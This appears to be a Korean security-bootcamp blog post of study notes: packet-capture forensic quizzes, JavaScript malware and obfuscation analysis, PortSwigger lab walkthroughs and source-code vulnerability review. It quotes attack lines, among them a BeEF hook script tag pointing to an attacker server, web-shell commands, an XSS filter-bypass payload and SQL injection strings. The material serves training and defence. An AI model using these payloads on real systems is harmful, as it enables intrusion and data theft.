--> TCP가 UDP보다 더 신뢰성 있음
--> UDP는 네트워크 공유와 장비에서 보낼 때 빠르게 보낼 수 있어서 사용
--> 현재 여기서는 FTP만 사용중인 것 볼 수 있음
- Conversation > TCP > 서버와 클라이언트 주고받는 것

- Endpoints : 각각의 포트들을 확인하는 것 (Conversation과 유사)
--> 채용에서 의미하는 Endpoints는 개인 피씨 단말 담당자를 의미함
- I/O Graphs : 입출력 값 의미

--> 특정한 이상징후 확인 가능
- Flow Graph는 자주 보지는 않음 > 특정한 데이터들 해석해서 플로우로 보여주는 것
- ftp=data 로 검색해보기
- Layer 7에서 4가 될 때 segment, Layer 3 = packet, 실질적으로 중요한 것은 Frame
- MZ 헤더 : exe 파일, dll 파일, ... 의미

- 이거 자체가 덤프파일임
- Export Objects > ftp > exe로 save 가능
- 네트워크 마이너로 FTP 파일 분석하기

- FTP 서버는 현재 윈도우인 것을 알 수 있음
--> Open TCP Ports가 21이고, 리눅스는 다이나믹 포트들이 열려있기 때문
- Files(1)에는 파일이 알아서 저장되어 있음

- Credentials : 비암호화된 정보
- Sessions, Parameter는 참고할 만 함
- 나중에 패킷이 커지면 너무 많은 데이터가 나오게 되는데 헷갈릴 수 있다는 것이 단점
Nikto 분석
- Wiresharkk로 보기
- Protocol Hierarchy : 스캔도구여서 패킷이 엄청 많음! 18000여개, UDP는 거의 없음
- Line Based Text Data
- Form Data 폼 데이터 > ID/PW 별도로 있음
- HTTP
- Packet Counter : 많은 메소들 있는 것 확인 가능
- 스캐너가 모든 매소들을 한 번씩 두드리는 애다 보니 한개씩은 다 있음
- 404가 대부분인 것 알 수 있음
- 스캐너들이 없는 페이지 계속적으로 요청했다는 것 알 수 있음
- Post로 데이터 넣은 것 조금, 대부분 Get 방식으로 페이지 요청한 것임
- HTTP Request : Get으로 요청한 것 넣어둔 것

- 192.168.130.142 > 웹 서버임
--> 밑에 보이는 것은 순서가 아님! 특수문자 기준 정렬임
--> Burst Start가 순서임
- File에서 Export Objects의 HTTP도 비슷함
--> 각각 요청한 것을 프레임별로 볼 수 있어서 이건 순서대로임

퀴즈
퀴즈1
1. 공격자의 IP 주소는?
- Conversation: .152 만 있음 → 공격 하는 쪽
--> 192.168.206.152
2. 공격자가 서비스에 접속하기 위해 사용한 계정 정보는?
- login.php 부분 HTML URL Encoded 보기
(네트워크마이너에서도 확인 가능)
--> bee, bug
3. 공격자가 공격하기 위해 사용한 대상 주소 URL은?
bWAPP\unrestricted_file_upload
4. 공격자가 사용한 파일 이름은?
- File > Export Object > HTTP: Content Type 중요
- 접근한 부분(61번) & 데이터 올리는 부분 확인(110번) 가능
--> php-backdoor.php
5. 공격자가 획득한 개인 정보는?
- 261번 결과 확인 > 저장
--> 열어보면!
Array
(
[id] => 1
[login] => A.I.M.
[password] => 6885858486f31043e5839c735d99457f045affd0
[email] => bwapp-aim@mailinator.com
[secret] => A.I.M. or Authentication Is Missing
[activation_code] =>
[activated] => 1
[reset_code] =>
[admin] => 1
)
Array
(
[id] => 2
[login] => bee
[password] => 6885858486f31043e5839c735d99457f045affd0
[email] => bwapp-bee@mailinator.com
[secret] => Any bugs?
[activation_code] =>
[activated] => 1
[reset_code] =>
[admin] => 1
)
6. 공격자가 시스템에 침투 한 후에 실행한 명령어는?
- 개인정보 가져 가는 부분 (261번)
--> host=localhost&usr=root&passwd=bug&db=bWAPP&mquery=select+%2a+from+users
퀴즈 2
- Statistics > Protocol Hierarchy : 특별한 것은 없었지만 Data 많이 차지하고 있는 것을 볼 수 있음
- 무언가 큰 걸 다운받았구낭
- Conversation > TCP : 클라이언트는 한 명밖에 없음 (192.168.130.144)
- 도메인이 여러개 인 것 확인 가능한데 192.168.130.129가 가장 의심되는 상황
--> 3000포트와 9999포트
- HTTP > Request > Burst Start : 82번은 test.nanum.info:82 / board_list.asp와 /board_view.asp가 의심스럽고 3000 포트에는 hook.js와 BEEFHOOK이 보임
- 192.168.130.129에서는 exe 파일이 내려오고 있음
--> hook.js?BEEFHOOK은 snort rule에도 있음 (IDS에서 탐지가 가능하다는 말)
- Export > HTTP : 파일을 확인할 수 있지만 어디와 포트가 연결되고와 같은 것을 바로 알지는 못 해서 지속적으로 찾아가야 함
- NetworkMiner로 봐 보기
- Files(7) : 파일 이름, 확장자, 연결된 포트와 IP 같은 것들이 있음
- exe는 90과 연결되어 있고 뒤에 dll이 9999와 연결되어 있는 것 확인 가능 (dll injection)
--> wireshark에서 meterpreter 검색해서 확인해볼 수 있음
- hook.js가 어디 있는 것인지도 wireshark에서 확인하는 것이 좋음
- 다시 와이어샤크로 가 보기
- board_view 부분 view.html로 저장해서 데이터 확인해보기
- view pagesource >해서 보면 스크립트 확인 가능
--> <script src="http://192.168.130.129:3000/hook.js"></script>
1. 악성코드 감염된 사람이 방문한 사이트 도메인은?
2. 악성코드가 삽입된 메뉴(기능)을 추정해보세요.
게시판
3. 악성코드 스크립트 구문은?
<script src="http://192.168.130.129:3000/hook.js"></script>
4. 악성 서버가 배포되는 IP 주소는?
192.168.130.129
5. 사용자에게 감염된 악성코드 파일 이름은? (확장자 포함)
security.exe , meterpreter.dll
6. 감염자에 연결된 악성서버 포트 번호는?
9999
7. 공격자가 사용자 감염을 유도하기 위해 사용한 페이크 설치 화면은?
adobe/flash_update.png
퀴즈 3
- Protocol Hierarchy > MIME : 첨부파일 있는 것
- Conversation > TCP : 너무 많음
- Port 기준으로 보기 : 8180, 8989 포트 의심스럽
- 192.168.206.152와 192.168.206.154가 접속한 것 보이는데 152가 8180에 많이 접속함
- 8989는 클라이언트와 호스트 위치가 바뀌어있는 것 확인 가능
--> Reverse Connection 의심
- HTTP > Requests > Burst Start : 8180이 웹서버 쪽인데 manager/html/upload -> attack/shell/jsp 공격 실행됨
- 워드 프레스 사용됨
- NetworkMiner에서 확인해보기
- Hosts : 굉장히 많음
- 192.168.206.133 보면 Metasploitable
--> Outgoing session 보면 8989포트, inbound는 8180
- Files(141) : 너무 많고 shell 찾아보면 없음
- 100% 파일을 생성하는 것은 아님
- 실제로 악의적인 파일들이 없는 것 보임
- Images : 별로 힌트될만한 것들이 없음
- Credentials : 여기도 정보 별로 없음
- Sessions : 연결 정보가 조금 있을 뿐
- 결론은 다시 wireshark 보기
- Export Objects > HTTP : shell.jsp가 많이 보이고1448번 패킷부터 봐야 함
- upload가 두 개가 있음 html 페이지로 접근한 것과 upload 페이지에 뭔가 올린 것이 multipart
- 1509 클릭 -> TCP Follow해서 가운데 쯤 보면 우리가 클릭한 곳 나옴
--> attack.war : PK는 압축파일임 (ZIP이나 War 파일)
--> 그래서 아래쯤으로 내려가면 shell.jsp가 보이게 됨 이거를 긁어서 해석하는 것 귀찮잖아?
--> 그래서 1509의 MIM 안에 multipart 안에 Data 클릭하면 옆에 보임
- 그리고 이 데이터 클릭해서 Export packet Bytes하면 됨 -> attack.war 파일로 저장
- upload 부분 html로 저장해서 봐 보기
- jsp 저장해서 봐 보기
- 이건 TCP Follow해서 그거 자체를 저장해서 보는 것이 어떤 공격을 했는 가 다 눈에 볼 수 있어서 좋음
--> command=ps+-aux , command=ls+-al, sort=1&Submit=Delete+selected+files (공격파일 삭제)
1. 공격에 성공한 공격자 IP는?
192.168.206.152
2. 공격자 이외 서비스에 접근한 IP는?
192.168.206.154
3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는?
8180
4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오.
파일 업로드 취약점
5. 공격자가 리버스공격을 하기 위해 사용한 포트는?
8989
6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은?
shell.jsp
5e86ca5044bddeb1ca5f7b5852fdc360
7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.
command=ps+-aux , command=ls+-al, sort=1&Submit=Delete+selected+files
침해사고 분석
악성코드 실제 사례
- 인터넷 브라우저를 통한 악성코드 유포
- 인터넷 검색만으로도 악성코드 배포 가능
- IE와 Adobe Flash의 취약점 조합으로 인한 보안 이슈 + HTML5 등장으로
--> Adobe Flash 종료, IE는 Edge로 변경 (Edge는 V8)
- 요즘은 Chrome 취약점 많이 건드는 중
- 불법 크랙 프로그램을 사용한 악성코드 유포
- 피싱/파밍을 통한 악성코드 유포
- 피싱은 ID/PW 유도
- 파밍은 도메인 -> IP (DNS) : hosts 파일 참고해서 도메인 - IP 매칭 참고해서 DNS 서버 조회
--> hosts 파일 교체해서 naver.com - 악성코드 ip 이렇게 매칭 시켜 놓는 것
- 외부 문서의 매크로를 통한 악성코드 유포
- 북한이 이거 되게 많이 함
--> 네이버 메일 피싱 되게 많이 오는데 그거 북한이 보낸 거 개많음
자바스크립트 악성코드 배포 방식
- 경유지 : 웹사이트에 코드 삽입 (뉴스, 파일 공유, 카페 검색 등)
- 중계지 : 굉장히 많음
- 트리구조로 복잡하게 만들어 둠
- 많은 중계지 확보 중요
- 배포지 : 최종적으로 배포되는 곳
- Exploit Pages
- 어떻게 배포 되는가?
- iframe으로 해서 정상 적인 frame에 섞어 둠
- iframe 안에 들어있는 것은 난독화가 되어있어서 js파일이 실행되도록
--> 풀면 exe 파일 나옴
- 그래서 난독화 빨리 풀어서 전달해줘야 추가적인 피해 생기는 것 방지 가능
- 접속햇던 사람들이 많다면 확인 후 후속조치가 필요함
악성코드 분석해보기
- NetworkMiner 확인해보기
- 일단 정보 짱 많음
- Images : 엄청 많음
- 구글, 트위터, 페이스북, 핸드폰, 약 등
- 아래쪽에 보면 favicon, bitcoin 등 의심스러운 것들이 보임
- open folder해보면 104.238.174.179
- Hosts : 174.179 검색해보기
- Hostname : lk2gaflsgh.jgy658snfyfnvh.com
--> 구르면서 봐도 이상한 도메인
- Hosts에서 그냥 쭉 보면 이상한 애들이 보임
- Files : Frame 기준으로 나열되어 있음
- 사용자가 접근했던 순서임
- 위쪽에서는 계속 정상적인 페이지에 접근했음
- 중간중간 구글 광고들이 들어가 있음
- 근데 중간에 갑자기 ipinfo.io라는 것이 껴 있음
--> 악성코드 삽입 의심 (IP 정보들을 받아오는 사이트들이어서)
- 마지막 즈음에 bitcoin.png와 이상한 도메인들의 IP가 동작중인 것을 알 수 있음
--> lk뭐시기 폴더 들어가서 html 보니까 file decrypt 해주는 것 확인 가능
--> 그리고 그 밑에 파일 보니까 encrypted 보니까 랜섬웨어임
- 위쪽에 뭔가에 악성 코드 걸리는 곳이 있다는 얘기
- 와이어샤크에서 봐보기
- Export > HTTP : .ga 해보면 9690부터 9967까지 한참 접근함
- 근데 그러다가 ipinfo.io가 동작함
- 또 한찬 vitamin이 동작하다가 lk2 페이지가 나오게 됨
- 정리하자면 9674의 vitaminsthatrock.com에 악성코드가 등록되어 있을 확률이 높음
- index 페이지를 가져와 봐야함
- 페이지 소스코드 가져오기
- .ga 찾아보면 iframe 삽입 되어 있는 것 볼 수 있음
--> 이게 경유지가 되는 것
--> 그리고 vcl뭐시기 파일들이 분산되어 내려오고 있는 것 확인 가능
--> TCP Follow해보니까 바이너리 파일들이 내려오고 있음을 알 수 있음
- 배포지가 두 개정도 사용중임 10437과 12392번으로 사용중인 것으로 보임
1. 어떤 악성코드가 감염이 되었는가?
랜섬웨어
2. 악성코드 스크립트가 삽입된 사이트를 추측해보세요.
vitaminsthatrock.com
3. 악성코드의 경유지 사이트를 추측해보세요.
vcl뭐시기, lk 뭐시기
자바스크립트
- 동작순서 : 동작 순서 : <script> 발견 -> 렌더링 엔진 일시 중지 -> 자바스크립트 해석기 동작 -> 실시간 해석 실행 -> HTML인 경우 메모리에 저장 -> </script>발견 -> 메모리에 저장된 HTML 코드를 렌더링 엔진에 전달-> 자바스크립트 엔진 중지 -> 렌더링 엔진 재동작
- 들여쓰기 개념 없음
- 굉장히 유연함
자바스크립트 난독화
- 코드를 읽기 어렵게 하는 기법
- 역공학
- 내가 만든 파일 딴사람이 보면 안돼서
- 이걸 악성코드 만드는 사람도 적용하기 시작함
- JavaScript Compress : 필요없는 값을 삭제하여 자바스크립트를 압축시키는 기법
- JavaScript functionExpression : 코드를 함수로 사용하여 억지스럽게 데이터의 크기를 늘리고 흐름을 혼란시키는 기법
- JavaScript Data Split : 사용하는 코드들을 나누어 저장하고 마지막에 실행시킨다
- 오우 예시가 오우
- JavaScript Data replace : 사용하는 코드에 쓰레기 코드를 삽입하고 나중에 모두 제거하는 기법
- 개충격적으로 생겨서 벌써 손떨려
- JavaScript Data Encoding : 사용하는 코드를 인코딩하여 사람이 알아볼 수 없는 데이터로 바꾸는 기법
- 최종 결과물이 됨
- 10진수 난독화 사례 : 아스키 코드
- 뭐든지 뒤에 푸는 과정이 나옴
- p.a.c.k.e.r 난독화 사례 : 익명 즉시 실행 함수를 사용
- 요즘엔 막 많이 쓰이지는 않음
- jjencode 난독화 사례 : 일본에서 만든 기호만을 이용해 자바스크립트와 동일하게 동작하는 난독화 코드를 만드는 것
- 이건 한창 많이 썼음
- 크롬 콘솔을 이용한 복호화
- xmp 사용해서 packer 풀 수 있음
이메일 분석
- Notepad++에 첨부파일에 있던 js 올려서 보기
- 보니까 한 줄임
- Function Expression
- 보기 > 자동 줄바꿈 실행
- 플러그인 관리 > JSTool 설치 > JSFomat

- 맨 마지막 가 보면
- 크롬 콘솔로 바꿔보기
- eval 제외하고 복사
- allow pasting 후 복사한 것 붙여넣기
- 밑에 나온 결과 복사해서 다시 새 노트패드에 넣어 test.js로 저장하기

- 이걸 다시 JSFormat으로 정리하기
- 해석해보자
- 젤 중요한 부분
- 확인해봐서 차단이 안되는 것에 동작되게끔 해두는 것

- 랜섬웨어임
- 이후 각각의 주소값 확인하기
- 어떤 것들은 exe 파일로 저장하고, 다운로드 된 것 중 가장 마지막 파일은 php파일로 저장
- 파일 있으면 동작하는 것이 또 있음

- text파일에 저장하는 것
- 다 저장하면 윈도 cmd 열어서 실행함
- 레지스트리 편집기 가 보면 HKCR과 HKCU 볼 수 있음
--> HKCR은 확장자와 관련된 것들로 확장자 연결프로그램 관리
- 코드에서 crypted는 확장자 바꾸는 것
--> 랜섬웨어 걸리면 확장자 바뀌고 비밀번호 걸려짐
- HKCU는 현재 로그인 되어있는 사용자의 환경 관리함
--> Software, Microsoft, Windows, CurrentVersion이런거 전부 시작할 때 돈주라는 경고문 실행되도록 하는 것임
- Desktop있는 것을 보면 바탕화면에도 돈주라는 경고문 떠 있을 것임
- 그 다음에 이제 필요없는 것들은 다 삭제 됨
- 만들었던 것들 다 없애는 것
- 이렇게 브라우저와 js를 통해 윈도우즈의 cmd 제어가 가능함
- 그래서 매우 위험한 것
- 그니까 malwarescript이런 데서 어떻게 악성코드가 동작하는 지 잘 봐보라는 것
PCAP 파일 분석해보기

- 아까 위에서 요청한 도메인 5개임
- 첫번째거 TCP stream 해보기

- png인데 MZ야 밑에 내려서 보면 딴것도 그래
- NetworkMiner가서 보면 더 잘 나와있음

- php가 이제 얘네를 실행시키는 파일이 되는 것
- 이걸 이제 역공학 분석으로 코드를 분석해보게 되는 것
* 악성코드 배포하는 방법
1. 구글 검색 -> exe 파일 -> 크롬 세이프 브라우징!!차단...
2. ISO 파일 -> lnk 파일 -> exe 파일
3. 웹 사이트를 통해 배포하는 방식 (XSS취약점 -> exe파일)
4. 이메일 첨부 -> 문서파일(VBA), js파일, exe파일, ISO파일
실습
Stored XSS 취약점 확인 하기
Lab: Stored XSS into HTML context with nothing encoded | Web Security Academy (portswigger.net)

초기화면

comment란에 이렇게 입력 후 프록시 잡기

스크립트 삽입

성공
DOM Based XSS 취약점 확인 하기
Lab: DOM XSS in innerHTML sink using source location.search | Web Security Academy (portswigger.net)

초기화면

test 써서 프록시 잡아보기

스크립트 삽입

성공

비슷한 초기화면

근데 안먹힘

요 사이에 있는거구나! 그렇다면

요렇게 스크립트를 한 번 닫아주고 다시 만들면?

성공!
Stored XSS 취약점 확인 및 CSRF 공격 구문 작성하기
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

초기화면

wiener:peter라고 초기에 알려줌

내 이메일이야

이걸 보는 사람마다 이메일을 이걸로 바꾸는 구문을 삽입

왕!
SQL Injection 취약점 확인 및 관리자(administrator) 계정으로 로그인 성공하기
https://portswigger.net/web-security/sql-injection/lab-login-bypass

초기화면

관리자 로그인 도전

'-- 넣어보기

또잉
SQL Injection 취약점 확인 및 Blind SQL Injection 공격
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

초기화면

이게 안먹히네!

TrackingID에서 구문이 먹히네!

users 라는 게 있군

administrator의 비밀번호가 1자리 이상이라구?

여기서 숫자가 달라져서 확인해보니 비밀번호는 20자리라는 것을 알아냄!

그럼 20자리를 알아내보자

알파벳 소문자와 숫자로만 돼있다고 처음에 그랬으니까 딕셔너리 하나 만들어

첫번째는 C구나! 이런식으로 20자리 알아내면 노가다지만 해보자

아유 힘들어

풀었당!!
* SQL 구문 테스트 사이트 : https://sqltest.net/
파일 업로드 취약점 확인 후 서버 내 /home/carlos/secret 값 확인

초기화면

파일업로드 취약점이니까 php 파일 하나 만들어주기

파일 업로드 할 수 있는 여기에 넣기

업로드가 됐다

사진이 아니어서 안보이지만 뭔가 적용된 것이 보임

프록시 가서 보니까 비밀 코드가 나왔다

그 글자를 Submit 해보니 문제 해결!
파일 업로드 취약점 확인 후 서버 내 /home/carlos/secret 값 확인2

초기화면

이번엔php 파일 안올라가짐

확장자명만 바꿔봄

올라가짐!

아파치 서버라는 점을 이용해 아파치에서 우회해서 실행 가능한 파일을 만들어줌

1234로 바꾼 것 실행가능하도록!

올라가짐

다시 올리기~

됐다!

성공!
Directory Traversal 취약점 확인 후 서버 내 /etc/passwd 값
https://portswigger.net/web-security/file-path-traversal/lab-simple

초기화면

filename에서 뭔가 될 거 같지?

에러가 나지는 않으니 더 상위 폴더로 가보자

왕 나왔당
Directory Traversal 취약점 확인 후 서버 내 /etc/passwd 값2
https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode

초기화면

이번에도 아까처럼해볼까?

역시 아니군!

URL 인코딩해봐?

힁 안되네 한번만 더 해봐?

헿 됐다
인증우회 공격
- 인증 / 인가 : 인증은 사용자 확인, 인가는 인증된 사용자의 접근 권한 부여
https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality

초기화면

/administrator-panel로 가지 말래
- robots.txt : 웹사이트 검색 로봇이 접근하는 것을 방지하기 위한 국제 규약
- 여기 접근하지 말라고 해 둔 것 때문에 접근할 수 있게 됨

갔더니 사용자를 삭제할 수 있네??!!

바로 삭제하기

초기화면

주어진 관리자 계정으로 로그인

권한 상승이 가능한 페이지가 있네?

carlos 권한 상승하는 거 Proxy 잡아봤더니 저걸로 wiener 권한도 상승 할 수 있을 것 같음

위너로 로그인함

위너 쿠키 넣고 위너 이름 넣어서 Send 해 봄

성공
소스 코드 진단
웹 애플리케이션 취약점 진단
- 동적진단 vs 정적진단 (소스코드 진단)
- 소스코드(정답지) 보고 진단
- 동적진단 장점 : 상대적으로 진단 소요 기간이 적다 (1URL 2-3 Day | 1-2주)
- 단점 : 누락의 가능성이 상대적으로 높다 / 진단자의 역량에 따라 결과 산출물의 품질 달라짐
- 정적진단 = 소스코드 방법론(Data Tracing)
- 장점 : 보다 Depth 있고 상세한 진단 가능
- 단점 : 시간이 오래 걸림 (1개 서비스 1URL 최소 2주 ~ 수개월) / 진단자 역량에 따라 결과 산출물의 품ㅁ질 달라짐 (편차가 상대적으로 큼)
소스코드 진단 방식 2가지
- 자동화 솔루션(반자동화) (App Scan/Fortify 등) => 결과 보고서 자동으로 나옴
- 장점 : 간편하다 / 시간이 적게 든다
- 단점 : 과오탐 비율이 크다 / 솔루션을 잘 이해하고 있는 엔지니어(진단자)가 필요함
- 수동진단(사람) => 편차가 큰 결과물이 나옴
- 장점: 도출한 취약점에 대한 결과가 명확하다
- 단점 : 시간이 오래걸린다 / 진단자에 대한 결과물 품질의 편차가 크다
- 프로세스 : 대상 서비스 정보 수집/획득 > 소스코드 기반 환경 분석 (서비스 분석) > 입/출력 트레이싱(분석) > 취약점 진단 수행 > 보고서 작성 및 취약점 리뷰 > 취약점 조치 및 이행점검 수행
소스코드 분석 방법
- 소스코드 안에 포함된 설정 파일을 보고 환경 분석
- Raw Data 활용해서 입/출력 트레이싱 진행
- 입력 > 입력처리 1 > 입력처리 2 > DB > 출력처리1 >출력
- 입력 > 출력 (서버를 거치지 않는 XSS)
- 입력 > 입력처리 1 > DB(Stored XSS, SQL Injection)
- 입력 > 입력처리1 > 입력처리 2 > 입력처리 3 > 출력 (반사형 XSS)
소스코드 진단 예시
- 1번 (XSS)
- XSS 취약점 존재함 : String name=request.getParameter(“name”);
--> 사용자로부터 전달받은 name이 name으로 저장되어 밑에서 출력되어지느 ㄴ중임
--> name 파라미터 값에 대한 필터링 구문이 존재하지 않음
- 즉, 특별한 보호를 받지 못하고 그대로 파라미터 값이 노출되기 때문에 XSS 가능성이 있음
- rs~title 부분은 SQL Injection이 될 수도 있는 가능성이 있지만, XSS 같이 명확하게 출력값이 나오는 부분이 없으므로 완전히 취약하다고 볼 수 없음
- 동적 예제 1번
- XSS 대응방안의 최선은 특수문자 필터링임
- 여기 예제에서는 키워드 필터링을 진행중임(iframe, alert, script에 대해)
--> 우회 가능 의미
--> <img src=x onerror="prompt("xss Test")"/> 이런식으로 작성해서 넣을 수 있음
- (클라이언트) 인코딩(공격 구문) -> (서버)디코딩
--> 이런 작업이 있어야 하지만 예제에서는 디코딩 구문이 존재하지 않으므로 우회 가능할 것으로 예측 가능
- 동적 예제 2
- 키워드 필터링 적용 중 : script, iframe, alert, document, cookie를 필터링 중
- 우회할만한 키워드를 만들 수 있음
- goodsResiger(vo)가 데이터를 받고 있는데 다시 이걸 mapper.insertSelectKey(vo)로 옮기는 것 볼 수 있음
--> 또 이것을 찾아보니 DB 쿼리 처리가 되는 것 보임
- 2번 (SQL Injection)
- 취약함, SQL Injection
- string sqlstring 내의 username은 보호받지 않고 있는 것으로 보이므로 취약함
- Public connection~} 은 DB 세팅 부분이라 사용자에 입력 받지는 않음
- public void ~} 부분은 connection이 어떻게 일어나는 지를 보여주는중임
- try 부터 값의 입력 처리가 일어나는 중임
--> username이 보호받지 못한 상태로 쿼리가 실행되므로 sql injection이 가능할 것으로 볼 수 있음
- statement 특징 : 사용자의 입력값을 쿼리로써 동작하게 해 줌
--> 예시 ) username="KIM" select * from db_user usermane="KIM" 이렇게만 되면 괜찮은데
username="KIM" and 1=1--" select * from db_user usermane="KIM" and 1=1--"
=> KIM 사용자에 대한 검색결과입니다.
--> 인증 bypass나 그 이상의 정보를 출력할 수 있게 됨
--> preparedStatement username="KIM" and 1=1--" select * db_user username "KIM and 1=1--"
=> KIM and 1=1에 대한 사용자가 없습니다.
- 동적 예제 1
- 띄어쓰기를 빈 카능로 치환해준다는 것만 있어서 딱히 의미 없ㅇ음
- idCheck 보니 아이디 중복체크하는 함수 사용중임을 알 수 있음
- ${} => 취약, #{} => 양호
- 3번 (파일 업로드)
- 파일업로드 취약점이 존재함
- 파일 확장자 검사 안 함, 업로드된 파일 검사 안 함
- rquest -> mrequest가 되고, 파일을 갖고 오고, 파일 경로 가져오고 추출함
--> filename에 대한 조치가 없는 상태에서 업로드가 정상적으로 이루어지고 있음
--> 경로를 우회해서 파일을 업로드 시킬 수 있고, 확장자에 대한 검증이 없음
--> 차선책인 타입 / 파일크기 / 실행권한에 관한 검증도 없음
- 동적 예제 1
- jsp 코드임
- request에 goodsfile이라는 변수를 받아오고 있고 이걸로 file명을 받아오고 있음
- 확장자 검증을 블랙리스트로 하는 중이어서 우회 가능성 예상 가능
- file type 검증 진행중임
- 4번 (경로순회공격)
- 경로순회 공격임
- 동적 1번
- 두 번 디코드했더니 파일 경로가 나오는 것을 확인하고 인코딩 두 번해서 넣었더니 됨
정 / 오탐 판별
1번
- 취약점 명 : 경로순회 (파일 다운로드)
- 취약? 양호? : 취약
- 사유 : fileName = request.getParameter ("P"); 이 부분에 대한 경로 검증 필터링 부재
- 참고) response.setHeader를 만들어두는 것이 파일 다운로드 특징
2번
- 취약점 명 : SQL Injection
- 취약? 양호? : 양호
- 사유 : mybatis로 SQL문을 DB로 연결 시켜줌 ${}로 설정돼있으면 동적쿼리로서 동작하지만, keyword를 #{} 기호를 이용해 동적 쿼리로 동작하지 않도록 막음
3번
- 취약점 명 : XSS
- 취약? 양호? : 양호
- 사유 : 특수문자 필터링 진행 중
- # 하나만 필터링 안되고 있지만 #만으로 구문을 만들기는 99% 불가능 (보안에 100%라는 표현은 거의 없음)
4번
- 취약점 명 : 파일 업로드
- 취약? 양호? : 취약(50%)/양호(50%)
- 사유 : 양호인 이유는 파일 타입을 화이트리스트 기반으로 검증하고 있음 (확장자는 . 뒤에 올라가는 내용을 검증하는 것임) 또한 파일 크기를 검증하고 있기 때문이고 취약인 이유는 확장자를 검증하고 있지 않기 때문임
- 참고) 업로드되는 파일이 서버 내 루트 경로에 업로드 되면 안됨 여기서 ~/는 홈디렉토리인데 파일 업로드 시 올라가는 파일의 계정명은 애플리케이션 계정을 따름
5번
- 취약점 명 : SQL Injection / 검증되지 않은 리다이렉트 URL
- 양호? 취약? : SQL Injection이면 양호 / 검증되지 않은 리다이렉트 URL 이면 취약
- 사유 : sql injection의 양호 사유는 preparestatement를 안전하게 사용중이서 id 값이 바인딩되고 있기 때문인 것이고, 검증되지 않은 리다이렉트 URL이 취약한 사유는 redirect라는 입력값이 별도로 검증되지 않고 redirect 시키고 있기 때문
6번
- 취약점 명 : SQL Injectioin
- 취약? 양호? : 취약
- 사유 : gubun에 대한 검증 없고 Statement가 안전하게 설정되어 있지 않음
- 참고) 자원을 열고 닫을 때 File Open Closed / SQL Connect disconnect 또는 Close / 예외처리 이게 안되면 자원 누출 및 메모리 누수가 이루어질 수 있음
7번
- 취약점 명 : Cmmand(OS) Injection
- 취약? 양호? : 양호
- 사유 : 화이트리스트 기반의 배열로 프로그램 사용을 제한하고 있음
- 참고) notepad.exe의 악성드로 실행 가능하고, notepad.exe 뒤에 계속해서 실행명령을 내릴 수 있지만 단편적으로 봤을 때는 양호하다고 보는 것이 좋은 것임
8번
- 취약점 명 : 경로순회
- 취약? 양호? : 양호
- 사유 : \와 /에 대한 문자열 검증함
- 참고) URL 인코딩 얘기까지 하기에는 코드가 너무 짧음 / XSS 될 가능성은 있지만 출력구가 없어서 가능성 정도로만 얘기 되어질 것 같음
9번
- 취약점 명 : XSS
- 취약? 양호? : 취약
- 사유 : 키워드 필터링 진행중이라 우회 공격 가능함 특수문자 필터링이 안됨
10번
- 취약점 명 : XSS
- 취약? 양호? : 취약
- 사유 : escapeXml = true면 값을 문자열 그대로 노출하고, escapeXml = false이면 스크립트(태그)가 작동하기 때문에 ( JSTL을 통한 C:out을 사용하지만 escapeXml이 false라 취약임)
- 참고) JSTL : 자바 서버 페이지 표준 태그 라이브러리 / 이걸 사용하고 싶으면 위에 두개를 선언해줘야 함! 밑에 줄은 XSS 출력값을 지정해주는 것인데 escapeXml을 False로 지정하는 순간, 취약해지는 것이 됨
11번
- 취약점 명 : 파일 업로드 / SQL Injection
- 취약? 양호? : 파일업로드는 취약 / SQL Injection은 양호
- 사유 : 파일 업로드는 확장자나 파일 타입에 관한 검증이 없음 / SQL Injection에 대해서는 PreparedStatement 사용, 데이터 바인딩
클라우드 진단
클라우드 진단 Process
- 대상 정보 요청 : 클라우드 자체는 비용이 드는 작업이므로 진단 기간을 명확히 설정하고, 사용 범위에 대한 정확한 산정이 필요함 / Cloud 관리 계정 발급 요청 필요
- 보안 진단 수행 : 플랫폼 보안 기술적 진단, 양호 취약 기준 애매한 것은 문서 확인과 체크리스트, 담당자 인터뷰를 통해 정하게 됨 그래서 문서 확인과 체크리스트 진단, 담당자 인터뷰는 관리 측면에서의 취약점 진단임
- 담당자 전달
- 보고서 작성 및 취약점 리뷰
- 취약점 조치 및 이행점검 수행
클라우드 진단 특징
- 클라우드를 구분하는 기준이 여러가지 있음 (IaaS, PaaS, SaaS, Secas)
- 이 중 IaaS 기준으로 진단 진행 중 (설정 진단)
- 서버 리소스, 네트워크 리소스, 사용자 리소스, 기타 리소스
- 유휴 리소스 점검
- 클라우드 사용자 권한 적정 여부 점검
- 클라우드 관리 컨설팅 요소 점검
보안그룹과 NACL
- 보안그룹과 NACL을 유의깊게 봄
보안그룹
|
NACL
|
AWS 방화벽
|
인스턴스 레벨
|
VPC 전 영역에 대해
|
좀 더 디테일한 정책들
|
- AWS 방화벽은 너무 비싸서 차라리 써드 파티들을 사용하는 경우가 많음
'SK 쉴더스 루키즈' 카테고리의 다른 글
모의해킹 (0) | 2024.08.13 |
---|---|
클라우드 보안 컨설팅 실무 (0) | 2024.08.10 |
클라우드기반 시스템 운영/구축 실무 (0) | 2024.08.10 |
클라우드 보안(2) (0) | 2024.08.10 |
클라우드 보안(1) (0) | 2024.08.10 |